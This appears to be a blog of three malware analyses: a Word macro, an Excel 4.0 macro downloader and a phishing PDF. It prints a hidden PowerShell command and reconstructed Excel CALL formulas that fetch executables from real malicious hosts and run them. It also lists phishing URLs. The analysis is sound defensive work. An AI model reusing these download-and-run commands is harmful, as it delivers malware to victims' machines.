Word Macro Malware Analysis

Hash: 98fe0b166f550446cbf9e0f368eb8bea79d2eec29fa033cee1ff8f8e38a12836

Sample Download Source: beta.virusbay.io

File Type: Microsoft Word Document

File Format: .doc

VirusTotal Scrore: 32/62

Document Preview:

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File Property:

cmd> olemeta.py <filename>
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Document Macro Analysis:

cmd> olevba.py -a <filename>

Document_Open macro executes on opening document.

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The first thing I was trying to access Macro. By default it was disabled, to enable it go to Files > Options > Trust Center > Macro Settings > Select Enable all macros and select checkbox Trust access to the VBA project object mode

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Post enabling macro, I navigate to View > Macros > View Macros 

There are macros in document.

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I tried to step into Document_Open macro which executes on document open. But I got an error Project Locked and Project is unenviable.

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To make it viewable, I downloaded tool EvilClippy. This tool create new copy of word document in same directory as your current document.

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Now when I open document which is project viewable and open VBA Development tool by pressing F11 and tried to open macro code, I was getting Project Password prompt.

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To remove/bypass this password, there is a VBA code, Git hub link

I am going to create a new module and paste this code there and run the macro unprotected

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Debugging Macro

I started debugging macro code and found below code runs PowerShell command

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PowerShell that written to location C:\Users\<profile>\AppData\Roaming\Temp\

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PowerShell command that executes via command line.

powershell -windowstyle hidden -command Import-Module BitsTransfer; Start-BitsTransfer -Source http://neoneo-bg.site/hIeak.dat,http://neoneo-bg.site/geTask.dat,http://neoneo-bg.site/rTTj.dat -Destination \"$env:TEMP\vido.com\",\"$env:TEMP\sfera\",\"$env:TEMP\rTTj.com\"; Set-Location -Path \"$env:TEMP\"; certutil -decode sfera po15p; Start-Process vido.com -ArgumentList po15p

PowerShell connects to the below URLS and save files vido.com, rTTj.com and sfera to location C:\Users\<user>\AppData\Local\Temp

I tried to debug the PowerShell script but the URL is no more accessible. Sadly, I couldn’t download the files those gonna download by this script.

http://neoneo-bg.site/hIeak.dat

VirusTotal Score: 5/71

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http://neoneo-bg.site/geTask.dat

VirusTotal Score: 7/71

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http://neoneo-bg.site/rTTj.dat

VirusTotal Score: 5/71

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Summary:

  • On opening document, word macro executes PowerShell command.
  • PowerShell command downloads file to Temp folder.

Thank you. Please post comments for suggestions.

Excel 4.0 macro Trojan Downloader – Malware Analysis

Hash: 89e62ec08b0b6065134c67937bae76ccd70163770fd6992574e41b9c82c3cf1c

Sample Download Link: beta.VirusBay.io

Application Name: Microsoft Excel

File Type: xls

VirusTotal Score: 29/60

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I came across this sample on VirusBay.io. I downloaded this malicious excel file on my VM for malware analysis.

OLEVBA.py

First thing I did analysis of VBA macro source code in excel file using OLETools.

Command > OLEVBA.py -a

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The result shows, macro will auto execute on opening file and it may run executable file may be using shell command and will download a file from remote server. The executable file name is FBpKzqF.exe

Document Property:

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XLM macro has been used in this file which is hidden.

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Steps To Make Macros Sheet Visible

Step 1

I enabled it by right click on the spreadsheet which is open in Excel and selected Unhide…

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And then a popup shows the name of spreadsheet I will select to unhide. Here name of sheet is SODXOFScMLy.

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Step 2

Along with this need to unblock the excel file and can be done by right click on excel file > General Tab > check option Unblock. I ran OLEVBA to check the visibility status of macro and now it turned to visible.

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While going through spreadsheet, I searched for keywords those I found in macro extracted using tool OLEVBA

OLEVBA macro extracted show a string value of C:\ProgramData\FBpKzqF.exe

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So I tried to look for .exe in spreadsheet, I was sure I will get something here and I found a link of a website  http:// gstat.dondyablo .com/ fattura.exe here fattura.exe is just a html page. (VirusTotal link here)

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Verification of above URL on VirusTotal shows URL is up and malicious and scores 17/79.

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I also did NSLookUp for URL. There are three IPs assigned to this site. First 2 from Russia and third one from Netherlands.

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Next I started looking for formula and Call functions in columns as I saw them in extracted macro by olevba.py. (screenshot below)

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I started with Call function, right click and run this call function.

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Click on Step in.

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Click on Evaluate will evaluate the values of parameters of call.

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Post Evaluation

=CALL($BZ$118,$HT$592, "JJCCJJ",0,$BB$54,$GI$1025,0,0)
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Here the value of

$BZ$118 = “URLMON”

$HT$559 = “URLDownloadToAFile”

$BB$54 = http:// gstat.dondyablo .com/ fattura.exe”

$GI$1024 = “C:\ProgramData\FBpKzqF.exe”

call("URLMON","URLDownloadToAFile","JJCCJJ",0,
"http:// gstat.dondyablo .com/ fattura.exe", 
"C:\ProgramData\FBpKzqF.exe")

There is another call function, I am evaluating to get the value of this call function.

=CALL($H$24,$GD$694, "JJCCCCJ",0,$I$1161,$GI$1025,,0,0)
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$H$24 = “Shell32”

$GD$694 = “ShellExecuteA”

$I$1161 = “open”

$GI$1025= “C:\ProgramData\FBpKzqF.exe”

=Call("Shell32", "ShellExecuteA", "JJCCJJ", 
"open", "C:\ProgramData\FBpKzqF.exe",,0,0)

Looking at these two call functions, I can say

  • The first call function will download the executable file from the URL
  • The second call function will execute the executable file on victims machine.

Next I will test, enable Internet on my VM and will run first call function instead of step in which will download the executable.

Network Log: 

Network log shows connection made to IP address 195. 22. 152. 76 and IP address resolved to DNS gstat. dondyablo .com

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Below image shows, it is downloaded ms dos application.

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URL is hosted on Apache server and host server is Ubuntu.

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Process Explorer: 

Process explorer capture the TCP connection with remote IP address and download the executable file at two location

  • C:\ProgramData\FBpKzqF.exe
  • CC:\Users\IEUser\AppData\Local\Microsoft\Windows\INetCache\IE\LQ86GWLO\fattura[1].exe (temp location)
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Downloaded Executable File Information

File name: FBpKzqF.exe

File Type: Win32 EXE

Hash: cddf3cc072913f9e5b0a020b12a0d80184b34a82f6ea6f8f7e95475a87de268c

VirusTotal Score: 50/70

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Summary

  • Excel file is Excel 4.0 macro in hidden spreadsheet (SODXOFScMLy)
  • Macro call functions download executable FBpKzqF.exe
  • “http:// gstat.dondyablo .com/ fattura.exe” from where executable downloaded.
  • downloaded executable file is a trojan malware.

PDF malware analysis

Hash: d26a7e67cda125f11270af0a820f6644cf920ed70fd5b166e82757dabb6d1ee0

Download sample link: Here

File type: PDF

VirusTotal score: 27/54

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PDF Document Preview

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PDFiD

I have used PDFiD tool to analyse the header of pdf file. Observed file contains 24 URL’s.

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Next step is to extract URL’s from the document. I will use two tools here to perform this, pdf-parser and PDFStreamDumper.

pdf-parser

I am using pdf-parser tool to extract only the list of URL’s from this document. for that I am navigating to the pdf-parser folder and executing command. pdf-parser is python script.

pdf-parser.py -k /URI <.pdf file> 

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There are these 5 URLs extracted from the pdf document.

(http://www.diamondcreationslb . com/doc/rdd.htm)
(http://ruseuropharm . ru/tobi/index.php)
(http://tcil-bd . com/tin-count/zigi/index.php)
(http://tcil-bd . com/wp-includes/IXR/alen/index.php)
(http://tcil-bd . com/dfp/index.php)

PDFStreamDumper

PDFStreamDumper is very handy tool with GUI. This loads all objects in PDF file and show in Text, Hex format. Opening malicious pdf file in PDFStreamDumper, I can see URL’s under objects. To get all the URL’s I will have to go through all objects from the left panel one by one.

E.g.

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URL Verification

http://www.diamondcreationslb . com/doc/rdd.htm

Report : Phishing

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http://ruseuropharm . ru/tobi/index.php

Report: Phishing

Status: 404

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http://tcil-bd . com/tin-count/zigi/index.php

Report: Phishing

Status: 404

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http://tcil-bd . com/wp-includes/IXR/alen/index.php

Report: Phishing

Status: 404

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http://tcil-bd . com/dfp/index.php

Report: Phishing

Status: 404

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Summary:

  • PDF File has URL’s embedded.
  • All URLs are phishing.